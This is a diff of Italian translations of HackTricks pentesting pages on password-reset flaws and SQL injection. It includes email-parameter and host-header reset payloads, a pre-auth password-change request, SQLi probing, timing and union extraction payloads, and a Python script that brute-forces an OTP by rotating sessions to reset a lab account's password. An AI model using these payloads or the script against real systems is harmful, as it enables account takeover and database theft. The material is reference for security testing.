||||
- Utilizzare metodi sicuri lato server per generare URL assoluti.
|
||||
- **Patch**: Utilizzare `$_SERVER['SERVER_NAME']` per costruire URL di reset della password invece di `$_SERVER['HTTP_HOST']`.
|
||||
- **Riferimenti**:
|
||||
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
||||
- **Impact**: Può portare a un potenziale takeover dell'account esponendo i reset token agli attacker.
|
||||
- **Mitigation Steps**:
|
||||
- Validare l'Host header contro una whitelist di domini consentiti.
|
||||
- Usare metodi sicuri lato server per generare URL assoluti.
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Gli attaccanti possono manipolare la richiesta di reset della password aggiungendo parametri email aggiuntivi per deviare il link di reset.
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro usando &
|
||||
- Aggiungi l'email dell'attacker come secondo parametro usando &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando %20
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro usando %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -45,19 +45,19 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando cc
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro usando cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando bcc
|
||||
- Aggiungi attacker email come secondo parametro usando bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando ,
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro usando ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -69,15 +69,15 @@ POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Passi di Mitigazione**:
|
||||
- **Passi di mitigazione**:
|
||||
- Analizzare e convalidare correttamente i parametri email lato server.
|
||||
- Utilizzare dichiarazioni preparate o query parametrizzate per prevenire attacchi di iniezione.
|
||||
- Usare prepared statements o query parametrizzate per prevenire attacchi di injection.
|
||||
- **Riferimenti**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Cambiamento di Email e Password di qualsiasi Utente tramite Parametri API**
|
||||
## **Modifica di email e password di qualsiasi utente tramite parametri API**
|
||||
|
||||
- Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
|
||||
```php
|
||||
@ -85,97 +85,98 @@ POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Passi di Mitigazione**:
|
||||
- Assicurati di una rigorosa validazione dei parametri e controlli di autenticazione.
|
||||
- Implementa un logging e monitoraggio robusti per rilevare e rispondere ad attività sospette.
|
||||
- **Riferimento**:
|
||||
- **Mitigation Steps**:
|
||||
- Assicurarsi di effettuare una rigorosa validazione dei parametri e controlli di autenticazione.
|
||||
- Implementare logging e monitoring robusti per rilevare e rispondere ad attività sospette.
|
||||
- **Reference**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Nessun Limite di Frequenza: Email Bombing**
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- La mancanza di limiti di frequenza sulle richieste di reset della password può portare a email bombing, sopraffacendo l'utente con email di reset.
|
||||
- **Passi di Mitigazione**:
|
||||
- Implementa limiti di frequenza basati su indirizzo IP o account utente.
|
||||
- Usa sfide CAPTCHA per prevenire abusi automatizzati.
|
||||
- **Riferimenti**:
|
||||
- La mancanza di rate limiting sulle richieste di password reset può portare a email bombing, sommergendo l'utente con email di reset.
|
||||
- **Mitigation Steps**:
|
||||
- Implementare rate limiting basato su indirizzo IP o account utente.
|
||||
- Usare sfide CAPTCHA per prevenire abusi automatizzati.
|
||||
- **References**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Scoprire Come Viene Generato il Token di Reset della Password**
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
|
||||
- Comprendere il modello o il metodo dietro la generazione dei token può portare a prevedere o forzare i token. Alcune opzioni:
|
||||
- Basato su Timestamp
|
||||
- Basato su UserID
|
||||
- Basato sull'email dell'Utente
|
||||
- Basato su Nome e Cognome
|
||||
- Basato sulla Data di Nascita
|
||||
- Basato sulla Criptografia
|
||||
- **Passi di Mitigazione**:
|
||||
- Usa metodi forti e crittografici per la generazione dei token.
|
||||
- Assicurati di una sufficiente casualità e lunghezza per prevenire la prevedibilità.
|
||||
- **Strumenti**: Usa Burp Sequencer per analizzare la casualità dei token.
|
||||
- Capire il pattern o il metodo dietro la generazione del token può portare a prevedere o brute-forcing dei token. Alcune opzioni:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **Mitigation Steps**:
|
||||
- Usare metodi crittografici forti per la generazione dei token.
|
||||
- Garantire sufficiente entropia e lunghezza per prevenire prevedibilità.
|
||||
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
|
||||
|
||||
## **UUID Indovinabili**
|
||||
## **Guessable UUID**
|
||||
|
||||
- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
|
||||
|
||||
- Se gli UUID (versione 1) sono indovinabili o prevedibili, gli attaccanti possono forzarli per generare token di reset validi. Controlla:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Passi di Mitigazione**:
|
||||
- Usa la versione 4 di GUID per la casualità o implementa misure di sicurezza aggiuntive per altre versioni.
|
||||
- **Strumenti**: Usa [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
|
||||
- **Mitigation Steps**:
|
||||
- Use GUID version 4 for randomness or implement additional security measures for other versions.
|
||||
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||
|
||||
## **Manipolazione della Risposta: Sostituire una Risposta Negativa con una Positiva**
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- Manipolare le risposte HTTP per bypassare messaggi di errore o restrizioni.
|
||||
- **Passi di Mitigazione**:
|
||||
- Implementa controlli lato server per garantire l'integrità della risposta.
|
||||
- Usa canali di comunicazione sicuri come HTTPS per prevenire attacchi man-in-the-middle.
|
||||
- **Riferimento**:
|
||||
- Manipulating HTTP responses to bypass error messages or restrictions.
|
||||
- **Mitigation Steps**:
|
||||
- Implement server-side checks to ensure response integrity.
|
||||
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
|
||||
- **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Utilizzo di Token Scaduti**
|
||||
## **Using Expired Token**
|
||||
|
||||
- Testare se i token scaduti possono ancora essere utilizzati per il reset della password.
|
||||
- **Passi di Mitigazione**:
|
||||
- Implementa politiche rigorose di scadenza dei token e valida la scadenza del token lato server.
|
||||
- Testing whether expired tokens can still be used for password reset.
|
||||
- **Mitigation Steps**:
|
||||
- Implement strict token expiration policies and validate token expiry server-side.
|
||||
|
||||
## **Brute Force del Token di Reset della Password**
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Tentare di forzare il token di reset utilizzando strumenti come Burpsuite e IP-Rotator per bypassare i limiti di frequenza basati su IP.
|
||||
- **Passi di Mitigazione**:
|
||||
- Implementa meccanismi robusti di limitazione della frequenza e di blocco dell'account.
|
||||
- Monitora attività sospette indicative di attacchi di forza bruta.
|
||||
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
|
||||
- **Mitigation Steps**:
|
||||
- Implement robust rate-limiting and account lockout mechanisms.
|
||||
- Monitor for suspicious activities indicative of brute-force attacks.
|
||||
|
||||
## **Prova a Usare il Tuo Token**
|
||||
## **Try Using Your Token**
|
||||
|
||||
- Testare se il token di reset di un attaccante può essere utilizzato in combinazione con l'email della vittima.
|
||||
- **Passi di Mitigazione**:
|
||||
- Assicurati che i token siano legati alla sessione utente o ad altri attributi specifici dell'utente.
|
||||
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
|
||||
- **Mitigation Steps**:
|
||||
- Ensure that tokens are bound to the user session or other user-specific attributes.
|
||||
|
||||
## **Invalidazione della Sessione al Logout/Reset della Password**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Assicurati che le sessioni siano invalidate quando un utente esce o resetta la propria password.
|
||||
- **Passi di Mitigazione**:
|
||||
- Implementa una corretta gestione delle sessioni, assicurando che tutte le sessioni siano invalidate al logout o al reset della password.
|
||||
- Ensuring that sessions are invalidated when a user logs out or resets their password.
|
||||
- **Mitigation Steps**:
|
||||
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
|
||||
|
||||
## **Invalidazione della Sessione al Logout/Reset della Password**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- I token di reset dovrebbero avere un tempo di scadenza dopo il quale diventano non validi.
|
||||
- **Passi di Mitigazione**:
|
||||
- Imposta un tempo di scadenza ragionevole per i token di reset e applicalo rigorosamente lato server.
|
||||
- Reset tokens should have an expiration time after which they become invalid.
|
||||
- **Mitigation Steps**:
|
||||
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
|
||||
|
||||
## **Bypass del Limite di Frequenza OTP cambiando la tua sessione**
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- Se il sito web utilizza la sessione utente per tracciare i tentativi errati di OTP e l'OTP era debole (<= 4 cifre), allora possiamo effettivamente forzare l'OTP.
|
||||
- **sfruttamento**:
|
||||
- basta richiedere un nuovo token di sessione dopo essere stati bloccati dal server.
|
||||
- **Esempio** di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione, l'OTP cambierà anche, e quindi non saremo in grado di forzarlo sequenzialmente!):
|
||||
- If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
|
||||
- **exploitation**:
|
||||
- basta richiedere un nuovo session token dopo essere stati bloccati dal server.
|
||||
- **Example** di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione l'OTP cambierà anch'esso, e quindi non potremo fare brute-force sequenziale!):
|
||||
|
||||
``` python
|
||||
# Bypass di autenticazione tramite reset della password
|
||||
# di coderMohammed
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Inizio attacco!")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] Questo potrebbe richiedere circa 5 minuti per finire!")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # numero casuale da 0 - 9999 con 4 d
|
||||
parms["s"] = 164 # non importante, influisce solo sul frontend
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # seguire il numero di tentativi
|
||||
out = requests.get(logout,headers=headers) # ti disconnette
|
||||
mainp = requests.get(root) # ottiene un altro phpssid (token)
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # estrai l'id di sessione
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # aggiorna gli headers con la nuova sessione
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # invia l'email per cambiare la password per
|
||||
ter = 0 # resetta ter in modo da ottenere una nuova sessione dopo 8 tentativi
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # questa è la lunghezza della pagina quando ottieni correttamente il codice di recupero (ottenuto testando)
|
||||
print(len(res.text)) # per informazioni di debug
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # qui cambieremo la password in qualcosa di nuovo
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] La password è stata cambiata in:D37djkamd!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Attacco fermato")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Alcune implementazioni espongono un'azione di cambio password che chiama la routine di change_password con skipOldPwdCheck=true e non verifica alcun reset token o ownership. Se l'endpoint accetta un parametro action come change_password e uno username/nuova password nel corpo della richiesta, un attaccante può resettare account arbitrari pre-auth.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Richiesta di Exploitation (concetto):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Mitigazioni:
|
||||
- Richiedere sempre un reset token valido e limitato nel tempo, vincolato all'account e alla sessione, prima di cambiare la password.
|
||||
- Non esporre mai i percorsi skipOldPwdCheck ad utenti non autenticati; richiedere l'autenticazione per le normali modifiche della password e verificare la password precedente.
|
||||
- Invalidare tutte le sessioni attive e i reset token dopo una modifica della password.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cos'è l'iniezione SQL?
|
||||
## Che cos'è SQL injection?
|
||||
|
||||
Un **SQL injection** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromettere il server o causare un'interruzione del servizio.
|
||||
Una **SQL injection** è una vulnerabilità di sicurezza che permette agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare**, o **cancellare** dati a cui non dovrebbero avere accesso, incluse informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono provocare cambiamenti permanenti nella funzionalità o nel contenuto dell'applicazione oppure la compromissione del server o un denial of service.
|
||||
|
||||
## Rilevamento dei punti di ingresso
|
||||
## Individuazione del punto di ingresso
|
||||
|
||||
Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati all'SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
|
||||
Quando un sito sembra essere **vulnerabile a SQL injection (SQLi)** a causa di risposte anomale del server a input correlati a SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede l'identificazione del metodo per **uscire dal contesto corrente** in modo efficace. Ecco alcuni esempi utili:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@ Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di rispos
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Poi, devi sapere come **correggere la query in modo che non ci siano errori**. Per correggere la query puoi **inserire** dati in modo che la **query precedente accetti i nuovi dati**, oppure puoi semplicemente **inserire** i tuoi dati e **aggiungere un simbolo di commento alla fine**.
|
||||
Poi, devi sapere come **correggere la query in modo che non dia errori**. Per correggere la query puoi **inserire** dati in modo che la **query precedente accetti i nuovi dati**, oppure puoi semplicemente **inserire** i tuoi dati e **aggiungere un simbolo di commento alla fine**.
|
||||
|
||||
_Nota che se puoi vedere messaggi di errore o puoi notare differenze quando una query funziona e quando non funziona, questa fase sarà più facile._
|
||||
_Nota che se puoi vedere messaggi di errore o se riesci a individuare differenze quando una query funziona e quando non funziona, questa fase sarà più semplice._
|
||||
|
||||
### **Commenti**
|
||||
```sql
|
||||
@ -51,20 +51,20 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Conferma con operazioni logiche
|
||||
### Confermare con operazioni logiche
|
||||
|
||||
Un metodo affidabile per confermare una vulnerabilità di SQL injection implica l'esecuzione di un **operazione logica** e l'osservazione dei risultati attesi. Ad esempio, un parametro GET come `?username=Peter` che produce contenuti identici quando modificato in `?username=Peter' or '1'='1` indica una vulnerabilità di SQL injection.
|
||||
Un metodo affidabile per confermare una vulnerabilità da SQL injection consiste nell'eseguire un'**operazione logica** e osservare i risultati attesi. Per esempio, un parametro GET come `?username=Peter` che restituisce contenuto identico quando modificato in `?username=Peter' or '1'='1` indica una vulnerabilità da SQL injection.
|
||||
|
||||
Allo stesso modo, l'applicazione di **operazioni matematiche** funge da tecnica di conferma efficace. Ad esempio, se l'accesso a `?id=1` e `?id=2-1` produce lo stesso risultato, è indicativo di SQL injection.
|
||||
Allo stesso modo, l'applicazione di **operazioni matematiche** è una tecnica di conferma efficace. Ad esempio, se accedere a `?id=1` e `?id=2-1` produce lo stesso risultato, è indicativo di SQL injection.
|
||||
|
||||
Esempi che dimostrano la conferma dell'operazione logica:
|
||||
Esempi che dimostrano la conferma con operazioni logiche:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Questa lista di parole è stata creata per cercare di **confermare SQLinjections** nel modo proposto:
|
||||
Questa word-list è stata creata per tentare di **confermare SQLinjections** nel modo proposto:
|
||||
|
||||
<details>
|
||||
<summary>True SQLi</summary>
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### Confermare con il Timing
|
||||
### Conferma tramite temporizzazione
|
||||
|
||||
In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire SQL injection cieche** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
|
||||
Pertanto, andremo a concatenare nella query SQL un'operazione che richiederà molto tempo per completarsi:
|
||||
In alcuni casi **non noterai alcuna modifica** sulla pagina che stai testando. Perciò, un buon modo per **discover blind SQL injections** è far eseguire al DB azioni che avranno un **impatto sul tempo** necessario al caricamento della pagina.\
|
||||
Perciò, andremo a inserire con concat nella query SQL un'operazione che richiederà molto tempo per completarsi:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
In alcuni casi, le **funzioni di sleep non saranno consentite**. Quindi, invece di utilizzare quelle funzioni, potresti far sì che la query **esegua operazioni complesse** che richiederanno diversi secondi. _Esempi di queste tecniche saranno commentati separatamente su ciascuna tecnologia (se presenti)_.
|
||||
In alcuni casi le **sleep functions non saranno consentite**. Allora, invece di usare quelle funzioni puoi far sì che la query **esegua operazioni complesse** che impiegheranno diversi secondi. _Esempi di queste tecniche saranno commentati separatamente per ciascuna tecnologia (se presenti)_.
|
||||
|
||||
### Identificazione del Back-end
|
||||
### Identificazione del back-end
|
||||
|
||||
Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti utilizzare le _**funzioni di sleep**_ della sezione precedente o queste (tabella da [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti usare le _**sleep**_ **functions** della sezione precedente o queste ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,28 +211,29 @@ Il modo migliore per identificare il back-end è provare a eseguire funzioni dei
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Inoltre, se hai accesso all'output della query, potresti farlo **stampare la versione del database**.
|
||||
Inoltre, se hai accesso all'output della query, puoi far stampare la versione del database.
|
||||
|
||||
> [!TIP]
|
||||
> In una continuazione discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
|
||||
> Di seguito discuteremo diversi metodi per sfruttare differenti tipi di SQL Injection. Useremo MySQL come esempio.
|
||||
|
||||
### Identificazione con PortSwigger
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Sfruttamento basato su Union
|
||||
## Sfruttare Union Based
|
||||
|
||||
### Rilevamento del numero di colonne
|
||||
### Rilevare il numero di colonne
|
||||
|
||||
Se puoi vedere l'output della query, questo è il modo migliore per sfruttarlo.\
|
||||
Prima di tutto, dobbiamo scoprire il **numero** di **colonne** che la **richiesta iniziale** sta restituendo. Questo perché **entrambe le query devono restituire lo stesso numero di colonne**.\
|
||||
Due metodi sono tipicamente utilizzati per questo scopo:
|
||||
If you can see the output of the query this is the best way to exploit it.\
|
||||
Prima di tutto, dobbiamo scoprire il **numero** di **colonne** che la **richiesta iniziale** restituisce. Questo perché **entrambe le query devono restituire lo stesso numero di colonne**.\
|
||||
Two methods are typically used for this purpose:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Per determinare il numero di colonne in una query, regola progressivamente il numero utilizzato nelle clausole **ORDER BY** o **GROUP BY** fino a ricevere una risposta falsa. Nonostante le funzionalità distinte di **GROUP BY** e **ORDER BY** all'interno di SQL, entrambi possono essere utilizzati in modo identico per accertare il conteggio delle colonne della query.
|
||||
To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -250,17 +251,17 @@ Per determinare il numero di colonne in una query, regola progressivamente il nu
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Seleziona sempre più valori nulli fino a quando la query non è corretta:
|
||||
Seleziona sempre più valori null finché la query non è corretta:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Dovresti usare valori `null` poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso._
|
||||
_Dovresti usare `null` valori poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e `null` è valido in ogni caso._
|
||||
|
||||
### Estrai nomi di database, nomi di tabelle e nomi di colonne
|
||||
### Estrarre i nomi dei database, i nomi delle tabelle e i nomi delle colonne
|
||||
|
||||
Negli esempi seguenti recupereremo il nome di tutti i database, il nome della tabella di un database, i nomi delle colonne della tabella:
|
||||
Negli esempi seguenti recupereremo i nomi di tutti i database, i nomi delle tabelle di un database e i nomi delle colonne di una tabella:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -271,67 +272,67 @@ Negli esempi seguenti recupereremo il nome di tutti i database, il nome della ta
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_C'è un modo diverso per scoprire questi dati in ogni database diverso, ma la metodologia è sempre la stessa._
|
||||
_Esiste un modo diverso per scoprire questi dati in ogni database, ma la metodologia è sempre la stessa._
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
## Sfruttamento Hidden Union Based
|
||||
|
||||
Quando l'output di una query è visibile, ma un'iniezione basata su union sembra irraggiungibile, ciò significa che è presente un'**iniezione basata su union nascosta**. Questo scenario porta spesso a una situazione di iniezione cieca. Per trasformare un'iniezione cieca in una basata su union, è necessario discernere la query di esecuzione sul backend.
|
||||
Quando l'output di una query è visibile, ma una union-based injection sembra irrealizzabile, ciò indica la presenza di una **hidden union-based injection**. Questo scenario spesso porta a una situazione di blind injection. Per trasformare una blind injection in una union-based, è necessario ricostruire la query eseguita nel backend.
|
||||
|
||||
Questo può essere realizzato attraverso l'uso di tecniche di iniezione cieca insieme alle tabelle predefinite specifiche per il tuo Database Management System (DBMS) target. Per comprendere queste tabelle predefinite, è consigliato consultare la documentazione del DBMS target.
|
||||
Questo può essere ottenuto usando tecniche di blind injection insieme alle tabelle predefinite specifiche del Database Management System (DBMS) target. Per comprendere queste tabelle predefinite, è consigliabile consultare la documentazione del DBMS target.
|
||||
|
||||
Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una query di union viene aggiunta al tuo payload, facilitando lo sfruttamento della nuova iniezione basata su union accessibile.
|
||||
Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una union query viene aggiunta al tuo payload, permettendo lo sfruttamento della appena accessibile union-based injection.
|
||||
|
||||
Per ulteriori approfondimenti, fai riferimento all'articolo completo disponibile su [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
